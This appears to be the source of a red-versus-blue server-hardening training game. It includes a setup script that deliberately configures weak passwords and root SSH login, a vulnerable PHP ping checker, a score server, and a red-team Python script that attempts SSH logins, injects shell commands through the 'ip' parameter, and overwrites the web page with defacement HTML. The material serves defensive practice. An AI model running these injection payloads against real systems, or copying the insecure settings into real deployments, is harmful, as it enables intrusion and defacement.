$output"; 28 | } 29 | ?> 30 | 31 | 32 | -------------------------------------------------------------------------------- /blue/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # user 4 | for i in {1..10}; do 5 | username="user$i" 6 | useradd -m $username 7 | echo "$username:$username" | chpasswd 8 | done 9 | echo "root:root" | chpasswd 10 | useradd -m dev 11 | echo "dev:devpass" | chpasswd 12 | 13 | # apache 14 | cp /blue/apache/default.conf /etc/apache2/sites-available/000-default.conf 15 | cp /blue/apache/index.php /var/www/html/index.php 16 | cp /blue/apache/memo.txt /var/www/html/memo.txt 17 | cp /blue/apache/.htaccess /var/www/html/.htaccess 18 | chown -R www-data:www-data /var/www/html/ 19 | a2ensite 000-default.conf 20 | apachectl start 21 | 22 | # ssh 23 | mkdir -p /run/sshd 24 | sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config 25 | sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config 26 | /usr/sbin/sshd -D & 27 | 28 | tail -f /dev/null -------------------------------------------------------------------------------- /score-server/public/styles.css: -------------------------------------------------------------------------------- 1 | body { 2 | font-family: Arial, sans-serif; 3 | background-color: #f4f4f4; 4 | margin: 0; 5 | padding: 20px; 6 | } 7 | 8 | h1 { 9 | text-align: center; 10 | color: #333; 11 | } 12 | 13 | table { 14 | width: 50%; 15 | margin: 20px auto; 16 | border-collapse: collapse; 17 | background-color: #fff; 18 | box-shadow: 0 0 10px rgba(0, 0, 0, 0.1); 19 | } 20 | 21 | th, td { 22 | padding: 12px; 23 | text-align: center; 24 | border-bottom: 1px solid #ddd; 25 | } 26 | 27 | th { 28 | background-color: #4CAF50; 29 | color: white; 30 | } 31 | 32 | tr:hover { 33 | background-color: #f5f5f5; 34 | } 35 | 36 | td { 37 | color: #333; 38 | } 39 | 40 | #game-controls { 41 | text-align: center; 42 | margin-top: 20px; 43 | } 44 | 45 | button { 46 | padding: 10px 20px; 47 | background-color: #4CAF50; 48 | color: white; 49 | border: none; 50 | cursor: pointer; 51 | } 52 | 53 | button:hover { 54 | background-color: #45a049; 55 | } 56 | 57 | #timer { 58 | font-size: 1.5em; 59 | } 60 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 JJ (yuasa) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ochakai-hardening 2 |
$output"; 57 | } 58 | ?> 59 | ``` 60 | 61 | -------------------------------------------------------------------------------- /score-server/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const axios = require('axios'); 3 | const app = express(); 4 | const port = 3000; 5 | 6 | app.set('view engine', 'ejs'); 7 | 8 | app.use(express.json()); 9 | app.use(express.static('public')); // Serve static files (e.g., CSS, JS) 10 | 11 | let gameStarted = false; 12 | let startTime = null; 13 | let elapsedTime = 0; 14 | 15 | const playerScores = { 16 | 1: { name: 'Player 1', score: 0 }, 17 | 2: { name: 'Player 2', score: 0 }, 18 | 3: { name: 'Player 3', score: 0 }, 19 | 4: { name: 'Player 4', score: 0 }, 20 | 5: { name: 'Player 5', score: 0 }, 21 | 6: { name: 'Player 6', score: 0 }, 22 | 7: { name: 'Player 7', score: 0 }, 23 | }; 24 | 25 | // Add score to the specified player 26 | app.post('/score', (req, res) => { 27 | const redIP = '::ffff:172.18.0.18'; 28 | if (req.ip !== redIP) { 29 | console.log(`Request from unauthorized IP: ${req.ip}`); 30 | return res.status(403).json({ status: 'Access denied' }); 31 | } 32 | const { player_id, score } = req.body; 33 | if (playerScores[player_id]) { 34 | playerScores[player_id].score += score; 35 | console.log(`Score updated for Player ${player_id}: ${playerScores[player_id].score}`); 36 | res.json({ status: 'success' }); 37 | } else { 38 | res.status(404).json({ status: 'Player not found' }); 39 | } 40 | }); 41 | 42 | // Start game by sending POST request to http://red:5555/game-start 43 | app.post('/start-game', async (req, res) => { 44 | try { 45 | const response = await axios.post('http://red:5555/game-start'); 46 | if (response.data.status === 'Game started') { 47 | gameStarted = true; 48 | startTime = Date.now(); 49 | return res.json({ status: 'Game started' }); 50 | } else { 51 | return res.status(500).json({ status: 'Failed to start game' }); 52 | } 53 | } catch (error) { 54 | console.error('Error starting game:', error.message); 55 | return res.status(500).json({ status: 'Failed to start game' }); 56 | } 57 | }); 58 | 59 | // Endpoint to return elapsed time 60 | app.get('/elapsed-time', (req, res) => { 61 | if (!gameStarted) { 62 | return res.json({ elapsedTime: 0 }); 63 | } 64 | 65 | elapsedTime = Math.floor((Date.now() - startTime) / 1000); // Elapsed time in seconds 66 | res.json({ elapsedTime }); 67 | }); 68 | 69 | // Serve the main page 70 | app.get('/', async (req, res) => { 71 | const players = Object.keys(playerScores).map(player_id => ({ 72 | name: playerScores[player_id].name, 73 | score: playerScores[player_id].score 74 | })); 75 | 76 | // Sort players by score in descending order 77 | players.sort((a, b) => b.score - a.score); 78 | 79 | // Calculate elapsed time for initial rendering 80 | if (gameStarted) { 81 | elapsedTime = Math.floor((Date.now() - startTime) / 1000); // In seconds 82 | } 83 | 84 | res.render('index', { players, gameStarted, elapsedTime }); 85 | }); 86 | 87 | // Start the server 88 | app.listen(port, () => { 89 | console.log(`Score server listening at http://localhost:${port}`); 90 | }); 91 | -------------------------------------------------------------------------------- /score-server/views/index.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |
Elapsed Time: 0 minutes and 0 seconds
44 || Rank | 51 |Player | 52 |Score | 53 |
|---|---|---|
| <%= index + 1 %> | 59 |<%= player.name %> | 60 |<%= player.score %> | 61 |
Your website is compromised.
' 166 | 'Take action immediately!
') 167 | 168 | params = {'ip': f'; echo "{payload}" > /var/www/html/index.php'} 169 | 170 | try: 171 | response = requests.get(url, params=params) 172 | print(f"POST modify request to {hostname}, Response Code: {response.status_code}") 173 | # Check if the page was modified 174 | time.sleep(5) 175 | modified_page = requests.get(url) 176 | if response.status_code == 200 and "Hacked by Unknown" not in modified_page.text: 177 | print(f"Failed to modify page on {hostname}") 178 | send_score_update(index + 1, 50) 179 | else: 180 | print(f"Page modified successfully on {hostname}") 181 | except Exception as e: 182 | print(f"Error with POST modify request to {hostname}: {e}") 183 | 184 | # The attack sequence for all steps 185 | def attack_sequence(): 186 | print("Starting attack sequence...") 187 | time.sleep(10*60) # Wait for 10 minutes before starting the attack 188 | 189 | # Step 1: SSH logins 190 | print("Step 1: SSH logins") 191 | ssh_logins() 192 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step 193 | 194 | # Step 2: Command injection 195 | print("Step 2: Command injection") 196 | command_injection_requests() 197 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step 198 | 199 | # Step 3: Additional OS command injection: cat /var/www/html/memo.txt 200 | print("Step 3: Additional OS command injection") 201 | additional_command_injection() 202 | time.sleep(5*60) # Wait for 5 minutes before proceeding to the next step 203 | 204 | # Step 4: Page modification 205 | print("Step 4: Page modification") 206 | modify_ping_checker() 207 | 208 | # Flask route to start the game 209 | @app.route('/game-start', methods=['POST']) 210 | def game_start(): 211 | global game_running 212 | with game_lock: 213 | if game_running: 214 | return jsonify({"status": "error", "message": "Game is already running"}), 400 215 | else: 216 | game_running = True 217 | 218 | # Start the attack sequence in a new thread 219 | attack_thread = threading.Thread(target=attack_sequence) 220 | attack_thread.start() 221 | 222 | # Start periodic check in a new thread 223 | periodic_check_thread = threading.Thread(target=periodic_check) 224 | periodic_check_thread.start() 225 | 226 | return jsonify({"status": "Game started"}), 200 227 | 228 | # Flask route to check health 229 | @app.route('/health', methods=['GET']) 230 | def health_check(): 231 | return jsonify({"status": "Healthy"}), 200 232 | 233 | # Main function to run the Flask server 234 | def main(): 235 | app.run(host='0.0.0.0', port=5555) 236 | 237 | # Execute 238 | if __name__ == "__main__": 239 | main() 240 | --------------------------------------------------------------------------------